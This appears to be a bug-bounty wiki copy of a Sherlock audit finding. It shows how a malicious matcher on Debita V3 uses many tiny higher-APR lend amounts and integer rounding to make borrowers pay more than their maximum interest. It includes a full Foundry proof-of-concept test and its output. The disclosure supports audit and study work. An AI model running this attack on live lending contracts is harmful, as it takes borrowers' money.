Skip to content
Business logic Audit finding Intermediate

A borrower may pay more interest that he has specified, if orders are matched by a malicious actor

The matchOffersV3 function allows anyone to match borrow and lend orders, and a malicious matcher can split a large lend order into many tiny amounts with a higher APR, causing the borrower to pay more interest than the specified maximum APR on a portion of the principal. This results in the borrower overpaying interest, and the attacker can profit if they provide the higher-APR lend order.

0x37 Follow with BengalCatBalu, dimulski and 2 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/480

Found by

0x37, BengalCatBalu, dimulski, h4rs0n, newspacexyz

Summary

In the DebitaV3Aggregator.sol contract, anybody can match borrow and lend orders by calling the matchOffersV3() function. When borrowers create their borrow orders they specify a maximum APR they are willing to pay. However the matchOffersV3() function allows the caller to specify an array of 29 different lend orders to be matched against each borrow offer. Another important parameter is the uint[] memory lendAmountPerOrder which specifies the amount of principal tokens each lend order will provide. A malicious user can provide smaller amounts for a part of the lendAmountPerOrder params, such that the borrower pays a higher APR on this amounts. The problem arises due to the fact that there are no minimum restrictions on the lendAmountPerOrder (except it being bigger than 0), and the fact that solidity rounds down on division.

Solidity
uint updatedLastApr = (weightedAverageAPR[principleIndex] * amountPerPrinciple[principleIndex]) / (amountPerPrinciple[principleIndex] + lendAmountPerOrder[i]);
uint newWeightedAPR = (lendInfo.apr * lendAmountPerOrder[i]) / amountPerPrinciple[principleIndex];
weightedAverageAPR[principleIndex] = newWeightedAPR + updatedLastApr;

As we can see form the code snippet above, when the newWeightedAPR is calculated if the APR specified by the lender of a lend order and the lendAmountPerOrder product is less than the amountPerPrinciple[principleIndex], 0 will be added to the weightedAverageAPR for the borrow order. Now if the borrower has requested a lot of funds, paying much bigger APR than the one he specified on 2% - 3% on those funds results in big loss for the borrower. Let's consider a simplified example of the PoC provided in the PoC section

  • A borrower creates a borrow offer for 500_000e6 USDC, with WETH as collateral, a 5% APR, and a ratio of 2_500e6 USDC for 1e18 WETH, for a duration of 150 days.
  • There might be several lenders that have created orders that match the params of the borrow order, for simplicity consider there is one lender - LenderA that matches the params, and he has provided 495_000e6 USDC as available principal, or is left with such amount, after his lend order was matched with other borrow orders.
  • Now the person who is matching the orders can either create a lend offer with higher APR, or find another lender who provides an accepted principal by the borrower, and accepts the offered collateral, but has a higher APR than the one specified by the borrower.
  • We assumer the user matching the orders creates a lend order with 10% APR, which is double the APR specified by the borrower (instead of only hurting the borrower by making him pay more interest, he is also going to profit).
  • When matching the orders, the user will first provide a lendAmountPerOrder of 200_000e6 + 1 from the lend order of LenderA, and then 28 more lendAmountPerOrder 200e6 each from the lend order with 10% APR
  • Since the max length of the lendAmountPerOrder is 29, for a bigger impact the malicious user will call the matchOffersV3() function once more, this time setting the first lendAmountPerOrder to be 286_391e6 + 1, and the next amounts for the lendAmountPerOrder will be 286e6
  • This results in two separate loan orders, however they are both for the same borrow order, in this way the borrower will have to pay 5% APR on 486_391e6 + 2 USDC, and 10% APR on 13_608e6 USDC. The borrower will have to pay double the APR he specified on ~2.72% of the funds he received(excluding the Debita protocol withheld fees, on which the borrower still pays interest). This results in the borrower paying 10_553_568_492 USDC instead of 10_273_952_054 USDC, which is a difference of 279_616_438 ~279e6 USDC, for the 150 day duration of the loan. Note that the above calculation are provided in the PoC below.

In conclusion this results in the borrower paying double the APR he specified on part of the principal he received. Keep in mind that the collateral is worth more than the principal, so the borrower is incentivized to repay his debt back, for some reason Debita has decided to not utilize liquidation if the nominal dollar value drops below the dollar nominal value of the principal, and rely only on loan duration for loan liquidations. Also in the above scenario the malicious actor profited by collecting a bigger interest rate on his assets.

Root Cause

In the matchOffersV3() function, there are no limitations on who can call the function, and on the provided parameters.

Internal pre-conditions

Borrower creates a big borrow order

External pre-conditions

No response

Attack Path

No response

Impact

When borrow orders are big (there are numerous cases where people have taken out millions in loans, by providing crypto assets as collateral), malicious actors can match borrow and lend orders in such a way that the borrower pays much more APR than he has specified on a percentage of the principal he receives. This is a clear theft of funds, and in most cases the attacker can profit, if he matches the borrow order with a lend order of himself with a higher APR, and once the loan is repaid, collect the interest rate.

PoC

Gist After following the steps in the above mentiond gist add the following test to the AuditorTests.t.sol file:

<details> <summary>PoC</summary>
Solidity
    function test_InflateAPR() public {
        vm.startPrank(alice);
        WETH.mint(alice, 200e18);
        WETH.approve(address(dboFactory), type(uint256).max);

        bool[] memory oraclesActivated = new bool[](1);
        oraclesActivated[0] = false;

        uint256[] memory LTVs = new uint256[](1);
        LTVs[0] = 0;

        address[] memory acceptedPrinciples = new address[](1);
        acceptedPrinciples[0] = address(USDC);

        address[] memory oraclesAddresses = new address[](1);
        oraclesAddresses[0] = address(0);

        uint256[] memory ratio = new uint256[](1);
        ratio[0] = 2_500e6;

        /// @notice alice wants 2_500e6 USDC for 1 WETH
        address aliceBorrowOrder = dboFactory.createBorrowOrder(
            oraclesActivated,
            LTVs,
            500, /// @notice set max interest rate to 5%
            150 days,
            acceptedPrinciples,
            address(WETH),
            false,
            0,
            oraclesAddresses,
            ratio,
            address(0),
            200e18
        );
        vm.stopPrank();

        vm.startPrank(bob);
        USDC.mint(bob, 495_000e6);
        USDC.approve(address(dloFactory), type(uint256).max);

        address[] memory acceptedCollaterals = new address[](1);
        acceptedCollaterals[0] = address(WETH);

        address bobLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            500,
            151 days,
            10 days,
            acceptedCollaterals,
            address(USDC),
            oraclesAddresses,
            ratio,
            address(0),
            495_000e6
        );
        vm.stopPrank();

        vm.startPrank(attacker);
        USDC.mint(attacker, 15_000e6);
        USDC.approve(address(dloFactory), type(uint256).max);

        address attackerLendOffer = dloFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            LTVs,
            1000,
            151 days,
            10 days,
            acceptedCollaterals,
            address(USDC),
            oraclesAddresses,
            ratio,
            address(0),
            15_000e6
        );

        /// @notice match orders
        address[] memory lendOrders = new address[](29);
        lendOrders[0] = address(bobLendOffer);
        for(uint256 i = 1; i < 29; i++) {
            lendOrders[i] = address(attackerLendOffer);
        }

        uint[] memory lendAmountPerOrder1 = new uint[](29);
        lendAmountPerOrder1[0] = 200_000e6 + 1;
        uint256 sumLendedLoanOrder1 = lendAmountPerOrder1[0];
        for(uint256 i = 1; i < 29; i++) {
            lendAmountPerOrder1[i] = 200e6;
            sumLendedLoanOrder1 += lendAmountPerOrder1[i];
        }

        uint[] memory porcentageOfRatioPerLendOrder = new uint[](29);
        for(uint256 i; i < 29; i++) {
            porcentageOfRatioPerLendOrder[i] = 10_000;
        }

        address[] memory principles = new address[](1);
        principles[0] = address(USDC);

        uint[] memory indexForPrinciple_BorrowOrder = new uint[](1);
        indexForPrinciple_BorrowOrder[0] = 0;

        uint[] memory indexForCollateral_LendOrder = new uint[](29);
        for(uint256 i; i < 29; i++) {
            indexForCollateral_LendOrder[i] = 0;
        }

        uint[] memory indexPrinciple_LendOrder = new uint[](29);
        for(uint256 i; i < 29; i++) {
            indexPrinciple_LendOrder[i] = 0;
        }

        address loanOrder1 = debitaV3Aggregator.matchOffersV3(
            lendOrders,
            lendAmountPerOrder1,
            porcentageOfRatioPerLendOrder,
            aliceBorrowOrder,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        uint[] memory lendAmountPerOrder2 = new uint[](29);
        lendAmountPerOrder2[0] = 286_391e6 + 1;
        uint256 sumLendedLoanOrder2 = lendAmountPerOrder2[0];
        for(uint256 i = 1; i < 29; i++) {
            lendAmountPerOrder2[i] = 286e6;
            sumLendedLoanOrder2 += lendAmountPerOrder2[i];
        }

        address loanOrder2 = debitaV3Aggregator.matchOffersV3(
            lendOrders,
            lendAmountPerOrder2,
            porcentageOfRatioPerLendOrder,
            aliceBorrowOrder,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        vm.stopPrank();

        vm.startPrank(alice);
        skip(150 days);

        uint256 aliceTotalBorrowed = sumLendedLoanOrder1 + sumLendedLoanOrder2;
        console2.log("Alice's total borrowed: ", aliceTotalBorrowed);
        uint256 taxedFee = aliceTotalBorrowed * 80 / 10_000;
        uint256 aliceUSDCBalance = USDC.balanceOf(alice);
        uint256 subFeeFromBalacne = aliceTotalBorrowed - taxedFee;
        uint256 aliceSupposedInterest = (aliceTotalBorrowed * 500) / 10000;
        uint256 duration = 150 days;
        uint256 aliceSupposedFinalPayment = (aliceSupposedInterest * duration) / 31536000;
        console2.log("The amount alice should have paid after 150 days on 5%APR : ", aliceSupposedFinalPayment);

        uint256 alice10APR = (13_608e6 * 1_000) / 10_000;
        uint256 alice10APRFinalPayment = (alice10APR * duration) / 31536000;
        uint256 aliceNormalAPR = ((lendAmountPerOrder1[0] + lendAmountPerOrder2[0]) * 500) / 10_000;
        uint256 aliceNormalAPRFinalPayment = (aliceNormalAPR * duration) / 31536000;
        uint256 aliceActualFinalInterestPayment = alice10APRFinalPayment + aliceNormalAPRFinalPayment;

        console2.log("Alice's actual final interest payment: ", aliceActualFinalInterestPayment);
        console2.log("Alice's overpays with: ", aliceActualFinalInterestPayment - aliceSupposedFinalPayment);

        USDC.mint(alice, 50_000e6);
        USDC.approve(address(loanOrder1), type(uint256).max);
        USDC.approve(address(loanOrder2), type(uint256).max);

        uint[] memory indexes = new uint[](29);
        for(uint256 i; i < 29; i++) {
            indexes[i] = i;
        }
        uint256 aliceUSDCBalanceBeforeRepaying = USDC.balanceOf(alice);
        DebitaV3Loan(loanOrder1).payDebt(indexes);
        DebitaV3Loan(loanOrder2).payDebt(indexes);
        uint256 aliceUSDCBalanceAfterRepaying = USDC.balanceOf(alice);
        uint256 aliceTotalPaidAmount = aliceUSDCBalanceBeforeRepaying - aliceUSDCBalanceAfterRepaying;
        console2.log("Alice's total paid amount: ", aliceTotalPaidAmount);
        vm.stopPrank();
    }
</details>
Solidity
  Alice's total borrowed:  499999000002
  The amount alice should have paid after 150 days on 5APR :  10273952054
  Alice's actual final interest payment:  10553568492
  Alice's overpays with:  279616438
  Alice's total paid amount:  510552568474

As can be seen from the logs above, and as explained in the example in the summary section, alice will overpay ~279e6 USDC, this attack can be performed on multiple borrowers. (( 10553568492 - 10273952054 ) / 10273952054) * 100 = 2.72%. The borrower overpays by more than 1% and more than $10, which I believe satisfies the requirement for a high severity.

To run the test use: forge test -vvv --mt test_InflateAPR

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/deaf6819f98d9d8f5ead178cd21ed80921d5f340

The original report as published on Sherlock, by 0x37. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the matchOffersV3 function lacks a minimum limit on each lend amount and uses integer division that rounds down, allowing a malicious matcher to manipulate the weighted average APR calculation.

Impact

The borrower could overpay interest by about 2.72% of the expected interest, and the attacker may profit from the higher interest rate.

What the attacker needed

Borrower creates a large borrow order; Attacker can create a lend order with higher APR; Attacker calls matchOffersV3

The fix

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/[redacted]

How it was found

  1. Borrower creates a large borrow order with a maximum APR.
  2. Attacker creates a lend order with a higher APR than the borrower's maximum.
  3. Attacker calls matchOffersV3 with many small lend amounts from the higher-APR order and one large amount from a lower-APR order.
  4. Attacker repeats the matching with different amounts to cover more of the principal.
  5. Borrower ends up paying a higher effective APR on a portion of the loan.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a lending system, borrowers say the maximum interest rate they will pay. Anyone can match lenders to borrowers. A flaw lets a matcher split a large loan into many tiny pieces with a higher interest rate, so the borrower ends up paying more than they agreed to on part of the money. The attacker can profit by lending at that higher rate.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x37

View all

79 more disclosed reports, best first.

More from Debita Finance V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.